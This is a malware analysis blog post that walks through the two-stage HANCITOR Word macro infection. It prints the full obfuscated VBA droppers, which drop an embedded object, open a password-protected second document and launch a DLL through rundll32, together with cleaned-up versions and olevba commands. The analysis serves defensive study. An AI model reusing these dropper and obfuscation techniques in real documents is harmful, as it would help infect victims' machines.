Malware Analysis

HANCITOR: Analysing The Malicious Document

HANCITOR (aka CHANITOR) is a prevalent malware loader that spreads through social engineering in the form of Word or DocuSign® documents. The infected document includes instructions for the victim to manually allow the malicious macro code to be executed. The HANCITOR executable payload dropped by the macro code is used to download other malware on the victim machines such as FickerStealer, Cuba ransomware, Zeppelin ransomware, and Cobalt Strike beacons.

In this post particularly, we will analyze the first two stages of a HANCITOR infection through Word documents. Similar to other campaigns, the initial stage is delivered through malspam, and the final HANCITOR DLL payload is dropped and executed after the victim opens the document.

To follow along, you can grab the sample as well as the PCAP files for it on Malware-Traffic-Analysis.net.

SHA256: 8733E81F7EF203F4D1C4208B75C6AB2548259CC35D68DF10EBF23A31E777871B

Step 1: Dumping First Stage Macros

Upon opening the document in Word, we can see an image directing us to click on the “Enable editing” and “Enable content” buttons with a security alert saying that macros have been disabled. This hints to us that this document contains some macro code that will be executed when we click to enable macro.

We can use olevba to quickly dump and analyze the document’s macro code. As shown below, the tool identifies the Document_Open function with type AutoExec, which is executed if the victim presses the “Enable content” button. There are other suspicious commands to execute other files on the system, so we can analyze the VBA code to examine its full functionalities.

Below is the full VBA macros dumped from olevba.

Stage 1 Macro Code Dump

——————————————————————————-

VBA MACRO ThisDocument.cls 

in file: 0929_966655534820.doc – OLE stream: ‘Macros/VBA/ThisDocument’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Option Explicit

Option Compare Text

        Dim nccx As String

        Dim vssfs As String

Private Sub Document_Open()

Dim dfgdgdg

Call s1(“Lo”)

Dim fds, fdsa As String

fds = “\”

 fdsa = “.d”

Call s2(“cal/”)

Call ass

Call acc

Dim kytrewwf As String

kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & “zoro” & fdsa & vssfs) = “” Then

Dim mySum

mySum = Application.Run(“bvxfcsd”)

If Len(nccx) > 2 Then

Call nam(nccx, kytrewwf)

Call pppx(kytrewwf & fds & “zoro” & fdsa & vssfs)

End If

End If

End Sub

Sub ass()

vssfs = “o”

End Sub

Sub acc()

vssfs = vssfs & “c”

End Sub

Sub hdhdd(asda As String)

Dim MyFSO As FileSystemObject

Dim MyFile As File

Dim SourceFolder As String

Dim DestinationFolder As String

Dim MyFolder As Folder

Dim MySubFolder As Folder

Set MyFSO = New Scripting.FileSystemObject

Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

——————————————————————————-

VBA MACRO Module1.bas 

in file: 0929_966655534820.doc – OLE stream: ‘Macros/VBA/Module1’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Sub pppx(pili As String)

    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _

        False, AddToRecentFiles:=False, PasswordDocument:=”doyouknowthatthegodsofdeathonlyeatapples?”, _

        PasswordTemplate:=””, Revert:=False, WritePasswordDocument:=””, _

        WritePasswordTemplate:=””, Format:=wdOpenFormatAuto, XMLTransform:=””

End Sub

——————————————————————————-

VBA MACRO Module3.bas 

in file: 0929_966655534820.doc – OLE stream: ‘Macros/VBA/Module3’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Dim mgf, uhjknb, wers, qweds, fafaa As String

Sub s1(vi As String)

mgf = vi

End Sub

Sub s2(vi As String)

uhjknb = vi

End Sub

Sub s3(vi As String)

wers = vi

End Sub

Sub bvxfcsd()

wers = “T” & “e”

 Selection.MoveDown Unit:=wdLine, Count:=3

    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.MoveDown Unit:=wdLine, Count:=3

    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy

Dim uuuuc

uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50

sda = 49

Dim poidds As String

qweds = “m” & “p”

Dim kuls As String

poidds = mgf & uhjknb & wers & qweds

fafaa = poidds

While sda < 50

      ntgs = ntgs – 1

      If Dir(Left(uuuuc, ntgs) & fafaa, vbDirectory) = “” Then

    Else

   sda = 61

    End If

   Wend

   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)

End Sub

——————————————————————————-

VBA MACRO Module123345.bas 

in file: 0929_966655534820.doc – OLE stream: ‘Macros/VBA/Module123345’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Dim pls As String

 Sub Search(mds As Object, pafs As String)

 Dim Nedc As Object

    Dim Ters As Object

For Each Nedc In mds.SubFolders

     Search Nedc, pafs

   Next Nedc

   For Each Ters In mds.Files

   If Ters.Name = “zoro.kl” Then

        pafs = Ters

        End If

   Next Ters

   Exit Sub

ErrHandle:

   Err.Clear

End Sub

Sub nam(pafs As String, aaaa As String)

Call ousx(aaaa)

Dim oxl

oxl = “\zoro.d”

oxl = oxl & “oc”

Name pafs As pls & oxl

End Sub

Sub uoia(fffs As String)

pls = fffs

End Sub

Sub ousx(aaaa As String)

Call uoia(aaaa)

End Sub

Step 2: Analyzing First Stage Macros

The Document_Open function is a special function that gets executed when the document is opened, so it is definitely a good starting point for us to begin analyzing. The raw Document_Open function is documented below.

Private Sub Document_Open()
    Dim dfgdgdg
    Call s1("Lo")

    Dim fds, fdsa As String
    fds = "\"
    fdsa = ".d"
    Call s2("cal/")
    Call ass
    Call acc
    Dim kytrewwf As String
    kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

    If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then
        Dim mySum
        mySum = Application.Run("bvxfcsd")

        If Len(nccx) > 2 Then
            Call nam(nccx, kytrewwf)
            Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)
        End If
    End If
End Sub

Most of the variable declarations and function calls are just simple obfuscation techniques, which are used to break down strings and hide them from being dumped directly from the Word document. If we resolve these and replace the variables with their content, the first IF statement becomes a check to see if the “zoro.doc” file in the user template path exists.

If Dir(kytrewwf & "\" & "zoro" & ".d" & "oc") = "" Then

If it doesn’t exist, the macros calls the Application.Run method to execute the function bvxfcsd. Below is the cleaned up version of this function’s code.

Sub bvxfcsd()
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    
    Dim uuuuc
    uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
    sda = 49

    While sda < 50
        ntgs = ntgs - 1
        If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
        Else
            sda = 61
        End If
   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & "Local/Temp")
End Sub

The first thing we see is a set of calls executing methods from the Selection property. Since the cursor points to the beginning of the document initially, these calls move it down 3 lines, right 2 characters, down 3 lines, right 2 characters, and delete one character from the cursor.

This block of code might seem harmless, but it is an effective way to manually drop VBA objects into the file system. If we move the cursor according to the steps above, we see that the cursor stops at a visible but small black box that isn’t there initially.

This black box represents a VBA object embedded in the document, and once interacted by the victim or the VBA macros, the object is automatically dropped to the file system. Interactions that trigger this include copying the object, which is invoked when the macros calls the function Selection.Copy.

Microsoft documents here that embedded Word Objects are stored as temporary files in the Temp directory for the document to interact with if needed. Therefore, we know that this object, whatever it is, is dropped somewhere in the victim’s Temp directory.

We can go further and examine the object’s properties to find the exact path of it.

As shown, the object is dropped to the file zoro.kl in the folder {90224AF4-616C-4FE4-9467-D6BA4B34E24E} inside the Temp directory of my analysis VM. This is in fact the second stage Word document that is later launched in the code, but we will keep analyzing the VBA macros to see how the code interacts with it.

After dropping this file, the function loops to find the path to the Local\Temp directory that is valid and calls the function hdhdd with the Temp directory path as parameter. Below is the content of that function.

Sub hdhdd(asda As String)
    Dim MyFSO As FileSystemObject
    Dim MyFile As File
    Dim SourceFolder As String
    Dim DestinationFolder As String
    Dim MyFolder As Folder
    Dim MySubFolder As Folder
    Set MyFSO = New Scripting.FileSystemObject


    Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

This function basically just retrieves the folder object for the path from its parameter, which is the Temp path, and calls the Search function. Below is the cleaned up version of the function’s content.

Sub Search(in_dirpath As Object, out_string As String)
    Dim subfolder As Object

    Dim fileobject As Object


    For Each subfolder In mds.SubFolders
        Search subfolder, in_dirpath
    Next subfolder

    For Each fileobject In in_dirpath.Files
        If fileobject.Name = "zoro.kl" Then
            out_string = fileobject
        End If
    Next fileobject
Exit Sub
ErrHandle:   
   Err.Clear
End Sub

The first loop of this function iterates through all subfolders in the Temp path. For each of those subfolders, the function recursively calls itself to search in that subfolder. At the base case of the recursion where there are no more subfolders in the current folder, the code iterates through all file objects and checks if its name is zoro.kl.

Once found, the code sets the second parameter to this file object. Ultimately, this Search call recursively searches for the zoro.kl file that is dropped earlier and sets the global variable nccx to the file path.

After this part, the code picks up back in the Document_Open function where the final IF statement checks if the length of nccx (the zoro.kl file path) is longer than 2. It then calls the function nam passing the file path and the user template path respectively. Below is the cleaned up version of this function.

Sub nam(zoro_kl_file_path As String, user_template_path As String)

    Dim oxl
    oxl = "\zoro.doc"
    Name zoro_kl_file_path As user_template_path & oxl
End Sub

This function executes the VBA Name statement to rename the zoro.kl file in the Temp folder to zoro.doc and move it to the user template folder.

The final call in Document_Open is to the function pppx with the full path to the zoro.doc file as parameter. Below is the content of that function.

Sub pppx(pili As String)
    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

This function executes the Documents.Open method to open the zoro.doc file. A different thing about this newly dropped document is that it comes with the password “doyouknowthatthegodsofdeathonlyeatapples?”, which is used to open and execute the macro code inside.

Step 3: Dumping Stage 2 Macros

Similar to the first stage, the second stage document contains some macro code that can be dumped by olevba. However, the default olevba command does not work for this document and throws an error that the document can not be decrypted.

Since the document is encrypted with the password we see in the earlier stage, we must provide that in the olevba command to decrypt the document before dumping its macro code.

olevba zoro.doc -p doyouknowthatthegodsofdeathonlyeatapples?

As shown from the olevba result below, the document’s macros contain a Document_Open function with type AutoExec as well as the functionality to run an executable file.

The content of the macros is recorded below.

Stage 2 Macro Code Dump

——————————————————————————-

VBA MACRO ThisDocument.cls 

in file: word/vbaProject.bin – OLE stream: ‘VBA/ThisDocument’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Option Explicit

Option Compare Text

        Dim hdv As String

        Dim bbbb As String

        Dim med As String

Private Sub Document_Open()

Dim vcbc As String

Dim dfgdgdg

bbbb = “ru” & “ndl”

vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(vcbc & “\gelforr.dap”) = “” Then

 Selection.MoveDown Unit:=wdLine, Count:=3

    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.MoveDown Unit:=wdLine, Count:=3

    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

    Selection.Copy

    Call bvxfcsd

If Len(hdv) > 2 Then

Call nam(hdv)

Dim pattison

pattison = “\gelforr.dap”

 Dim cvzz As String

cvzz = “l3” & “2.exe”

  Shell (bbbb & cvzz & ” ” & vcbc & pattison & “,BNJAFSRSQIX”)

ActiveDocument.Close

End If

End If

End Sub

Sub hdhdd(asda As String)

Dim MyFSO As FileSystemObject

Dim MyFile As File

Dim SourceFolder As String

Dim DestinationFolder As String

Dim MyFolder As Folder

Dim MySubFolder As Folder

Set MyFSO = New Scripting.FileSystemObject

Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

——————————————————————————-

VBA MACRO Module1.bas 

in file: word/vbaProject.bin – OLE stream: ‘VBA/Module1’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Dim pls As String

Sub nam(pafs As String)

Call ousx

Dim oxl

oxl = “\gelforr.dap”

Name pafs As pls & oxl

End Sub

Sub ousx()

Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))

End Sub

 Sub Search(mds As Object, pafs As String)

 Dim Nedc As Object

  Dim fffff

  fffff = “gelfor.dap”

   For Each Nedc In mds.SubFolders

     Search Nedc, pafs

   Next Nedc

Dim Ters As Object

   For Each Ters In mds.Files

   If Ters.Name = fffff Then

        pafs = Ters

        End If

   Next Ters

   Exit Sub

ErrHandle:

   Err.Clear

End Sub

Sub uoia(fffs As String)

pls = fffs

End Sub

——————————————————————————-

VBA MACRO Module3.bas 

in file: word/vbaProject.bin – OLE stream: ‘VBA/Module3’

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – 

Sub bvxfcsd()

Dim uuuuc

uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

Dim ewrwsdf As String

ewrwsdf = “L” & “o”

ewrwsdf = ewrwsdf & “c” & “a” & “l”

ewrwsdf = ewrwsdf & “/” & “Temp”

    ntgs = 50

sda = 49

While sda < 50

      ntgs = ntgs – 1

      If Dir(Left(uuuuc, ntgs) & ewrwsdf, vbDirectory) = “” Then

    Else

   sda = 61

    End If

   Wend

   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)

End Sub

Step 4: Analyzing Stage 2 Macros

Again, we begin our analysis at the Document_Open function as it is the entry point of the code.

Here, we can see a similar code pattern to the code in the first stage. It first checks if the gelforr.dap file exists in the user template path, and if it does not, the same methods from the Selection property are executed to drop the document’s VBA object into the Temp directory.

Private Sub Document_Open()
    Dim vcbc As String
    vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

    If Dir(vcbc & "\gelforr.dap") = "" Then
        Selection.MoveDown Unit:=wdLine, Count:=3
        Selection.MoveRight Unit:=wdCharacter, Count:=2
        Selection.MoveDown Unit:=wdLine, Count:=3
        Selection.MoveRight Unit:=wdCharacter, Count:=2
        Selection.TypeBackspace
        Selection.Copy
        Call bvxfcsd

        If Len(hdv) > 2 Then
            Call nam(hdv)
            Shell ("rundl" & "l32.exe" & " " & vcbc & "\gelforr.dap" & ",BNJAFSRSQIX")
            ActiveDocument.Close
        End If
    End If
End Sub

Next, the function bvxfcsd is called. As seen below in the code’s cleaned-up version, this function is a copy of the function bvxfcsd in the first stage, and they both call the function hdhdd to search for the dropped VBA object in the Temp directory. The only difference between these stages is the name of the object file being searched, with the second stage’s document searching for the filename gelfor.dap.

Sub bvxfcsd()
    Dim uuuuc
    uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
    ntgs = 50
    sda = 49

    While sda < 50
        ntgs = ntgs - 1
        If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
        Else
            sda = 61
        End If
    Wend
    Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub

Once found, the path to the gelfor.dap file is written to the hdv variable, which is then passed to the function nam as parameter. Similar to the nam function in the first stage, this function renames the gelfor.dap file in the Temp path to gelforr.dap and moves it to the user template folder.

Sub nam(pafs As String)
    Name pafs As pls & "\gelforr.dap"
End Sub

Finally, the code calls the Shell VBA function to execute the following command.

rundll32.exe <user template path>\gelforr.dap, BNJAFSRSQIX

From this, we know that the dropped VBA object is a DLL file, and the second stage’s document executes its exported function BNJAFSRSQIX using the rundll32.exe executable.

The dropped DLL is the final HANCITOR payload that is used to download a Cobalt Strike beacon, and we will be analyzing HANCITOR functionalities using this sample in the next blog post!

If you have any questions regarding the analysis, feel free to reach out to me via Twitter.

Author

Chuong Dong

CS Undergrad @ Georgia Tech

The Remastered
Beginner Malware Analysis Course

Pre-registration is now open

Don’t miss out! Add your email to get notified of course updates, and grab a 15% discount as well as 1-week early access!